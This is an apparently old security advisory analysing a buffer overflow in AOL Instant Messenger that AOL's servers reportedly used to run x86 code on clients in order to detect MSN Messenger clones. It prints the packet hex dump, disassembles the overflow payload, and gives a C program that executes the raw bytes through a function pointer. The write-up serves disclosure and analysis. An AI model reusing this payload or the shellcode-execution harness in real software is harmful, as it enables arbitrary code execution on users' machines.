COMMAND
AOL Instant Messenger
SYSTEMS AFFECTED
AOL
PROBLEM
Robert Graham found found possible buffer overflow in AOL Instant
Messenger. It appears to me that AOL might be running a
buffer-overflow exploit against their own clients. Before doing
anything else log onto AOL Instant Messaging and take a trace of
it with NetMon/tcpdump/Sniffer/etc. If this is really happening,
then AOL will likely fix it soon.
Last friday NYTimes brought following story. This story brings
up the implication that America Online might be running a
"buffer-overflow exploit" on in its own users. They have already
made 13 changes to their server code in the past few weeks in
order to stop Microsoft's clones from working, so this may be yet
another attempt. According to what we see, it appears to that
this implication is correct. Robert saw something that looks a
lot like a buffer overflow exploit when sniffing the connection
between the client and AOL's servers. You can reproduce this
yourself:
1. log onto AOL Instant Messenger with the latest client that
comes with Communicator version WIN32 2.0.912, aka 2.0N.
(Click on [File/Help/Report a bug] to get the real version).
2. take a packet trace of the login procedures (NetMon).
3. look for the frame that Robert describes below.
4. copy/paste the frame data into the C program as demonstrated
below.
5. step through the code in the debugger and disassemble it
AOL has removed their documentation from the Internet recently.
Robert had to download the GAIM (AIM client for Linux) source
code to figure things out. A TCP connection is used. The format
for each request/response in the login process is:
byte[0] = 0x2a
byte[1] = 0x02 (type = 2 =login)
byte[2-3] = sequence number
byte[4-5] = length
byte[6-7] = type
byte[8-9] = subtype
However, multiple requests/responses can be queued into a single
packet. Following is the entire TCP packet received from the AOL
server to my client:
00000000 00 00 BA 5E BA 11 00 A0 C9 B0 5E BD 08 00 45 00 ...^......^...E.
00000010 01 90 35 2A 40 00 7F 06 AF 73 0A 00 00 02 0A 00 ..5*@...s......
00000020 01 C9 04 38 0D 7F 25 F8 E3 A3 0C 19 A5 14 50 18 ...8.%.......P.
00000030 6E B5 4C E2 00 00/2A 02 31 F8 00 0C 00 0B 00 02 n.L...*.1.......
00000040 00 00 80 A2 F1 D5 04 B0/2A 02 31 F9 01 28 00 01 ........*.1..(..
00000050 00 13 00 00 80 A2 F1 D6 00 FF 00 0B 01 18*83*C4 ................
00000060 10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$...........
00000070 00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N
00000080 00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B.
00000090 00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E....
000000A0 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................
000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................
00000150 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D.........
00000160 00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8*E9*...........G@...
00000170 EA FE FF FF 00 00/2A 02 31 FA 00 22 00 01 00 13 ......*.1.."....
00000180 00 00 80 A2 F1 D7 00 04 00 0B 00 12 68 74 74 70 ............http
00000190 3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D ://www.aol.com
There are three AIM segments in this packet, which Robert marked
with slashes in the above decode. (Remember that TCP is a stream
based protocol, so application protocols have to figure out their
own boundaries, and you often see multiple segments in a single
TCP packet). The second segment is of interest here, as marked by
the slashes. It seems like the first byte of the embedded code
starts at the byte with the value 0x83 at offset 0x53. However,
this isn't the buffer overflow, but the start of the buffer
itself. Immediately proceeding this is what appears to be a
length field. Perhaps they only allow for a max length of 256
(0x100), but the length field has an extra 0x18 bytes. So if we
go 256 bytes into the buffer, we get some more stuff that looks
like code.
Robert hasn't analyzed all this stuff, but it appears that at the
end of the overflow section, it jumps back to the start of the
buffer that contains the code of the exploit. [You only get so
much wriggle room where you overflow, because the more you
overflow, the more of the stack you overwrite; so the overflowed
section has to be as small as possible, and jump backwards to
actually run something].
In following section (decode), Robert has done a decode of all
the bytes in the segment. To the left are the original bytes, to
the right is either the protocol interpretation or the
disassembled output. These bytes are in the same order as in the
original packet.
2A 02 parse of logon sequence
31 F9 sequence number
01 28 length of this segment
00 01 00 13 type/subtype field of this packet
00 00 80 A2 F1 D6 00 FF 00 0B unknown data
01 18 length of data field
83 C4 10 add esp,10h
4F dec edi
8D 94 24 E4 FE FF FF lea edx,dword ptr [esp-11Ch]
8B EC mov ebp,esp
03 AA F8 00 00 00 add ebp,dword ptr [edx+0F8h]
90 nop
90 nop
90 nop
90 nop
8B 82 F0 00 00 00 mov eax,dword ptr [edx+0F0h]
8B 00 mov eax,dword ptr [eax]
89 82 4E 00 00 00 mov dword ptr [edx+4Eh],eax
8B 4D 04 mov ecx,dword ptr [ebp+4]
03 8A F4 00 00 00 add ecx,dword ptr [edx+0F4h]
8D 82 42 00 00 00 lea eax,dword ptr [edx+42h]
89 45 10 mov dword ptr [ebp+10h],eax
B8 10 00 00 00 mov eax,10h
89 45 0C mov dword ptr [ebp+0Ch],eax
C9 leave
FF E1 jmp ecx
00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 filler
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 block
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 that
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 doesn't
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 mean
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 much
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 start of
08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 overflow
00 00 08 01 00 00 00 00 00 00
90 47 40 00 jump address?
F8 unknown
E9 EA FE FF FF jmp back_to_start_of_buffer
00 00
You'll notice that there appears to be other code that Robert
hasn't disassembled. How to disassemble this? The easiest way is
simply to paste the data bytes into a program and RUN the code.
In theory, you could create a sample program that would actually
run this code completely without crashing but that would take A
LOT of effort.
The code to test it:
/* The data from the packet, starting at where I believe the data field
* begins.*/
unsigned char packet[] = {0x83, 0xC4,
0x10, 0x4F, 0x8D, 0x94, 0x24, 0xE4, 0xFE, 0xFF,
0xFF, 0x8B, 0xEC, 0x03, 0xAA, 0xF8, 0x00, 0x00,
0x00, 0x90, 0x90, 0x90, 0x90, 0x8B, 0x82, 0xF0,
0x00, 0x00, 0x00, 0x8B, 0x00, 0x89, 0x82, 0x4E,
0x00, 0x00, 0x00, 0x8B, 0x4D, 0x04, 0x03, 0x8A,
0xF4, 0x00, 0x00, 0x00, 0x8D, 0x82, 0x42, 0x00,
0x00, 0x00, 0x89, 0x45, 0x10, 0xB8, 0x10, 0x00,
0x00, 0x00, 0x89, 0x45, 0x0C, 0xC9, 0xFF, 0xE1,
0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x10,
0x08, 0x11, 0x29, 0xEC, 0xFF, 0xFF, 0x44, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00,
0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x90, 0x47, 0x40, 0x00, 0xF8, 0xE9,
0xEA, 0xFE, 0xFF, 0xFF, 0x00, 0x00, 0x2A, 0x02,
0x31, 0xFA, 0x00, 0x22, 0x00, 0x01, 0x00, 0x13,
0x00, 0x00, 0x80, 0xA2, 0xF1, 0xD7, 0x00, 0x04,
0x00, 0x0B, 0x00, 0x12, 0x68, 0x74, 0x74, 0x70,
0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x61,
0x6F, 0x6C, 0x2E, 0x63, 0x6F, 0x6D};
/* Function point that will point to the buffer above */
void (*foo)();
int main()
{
/* Set to the point where it overflows (256-characters in),
* then add an offset to the jmp instruction that jumps back
* to the begining */
foo = packet+256+0x11;
/* In MS DevStudio, put a break point here, and then turn on
* disassembly mode [View/Debug Windows/Disassembly]. This will
* allow you to single step each assembly intruction, and will
* disassemble them for you. Also, turn on view of the original
* bytes by righ-hand-mouse-clicking on the disassembly and
* selecting [Code Bytes].
*/
foo();
return 0;
}
SOLUTION
Apparently AOL is using this buffer overflow error to determine
if someone is running the AOL client software versus the Microsoft
MSN Messenger client software. MSN Messenger users are then
refused service on the AOL system. The buffer error is used as
follows. During the AIM logon sequence, the AOL servers now send
down a packet to a client machine with about 40 bytes of x86 code
in it. This code gets executed by the client because the packet
also exercises the buffer overflow bug. The downloaded code
causes the client to send back a secret response to the AOL
servers. If the servers don't see this response, they then
bounce the user under the assumption the client software must be
MSN Messenger. It only took Microsoft a few days to see what was
going on and they have updated the MSN Messenger client software
to recognize the special packet and response in the same manner
as the AOL client. However, MSN isn't using a buffer overflow
error to make this happen. Presumably with this buffer overflow
error, AOL can download new x86 code in the future which
generates different responses from the client. If this way, the
can constantly stay a few days ahead of Microsoft in this game of
"spy-vs-spy". Geoff Chappell has a done a detailed analysis of
the AIM IM code and has located the actual bug. His write-up on
the bug can be found at these two URLs:
http://www.ozemail.com.au/~geoffch/security/aim/
http://www.ozemail.com.au/~geoffch/security/aim/preliminary.htm
He also provides details on how the special AOL packet is executed
by this buffer overflow error. On the AOL side of things, they
continue to publicly deny anything is amiss here. In press
articles they either claim there is no buffer overflow error in
the client software or that they are not doing anything to
compromise the security of their AIM customers.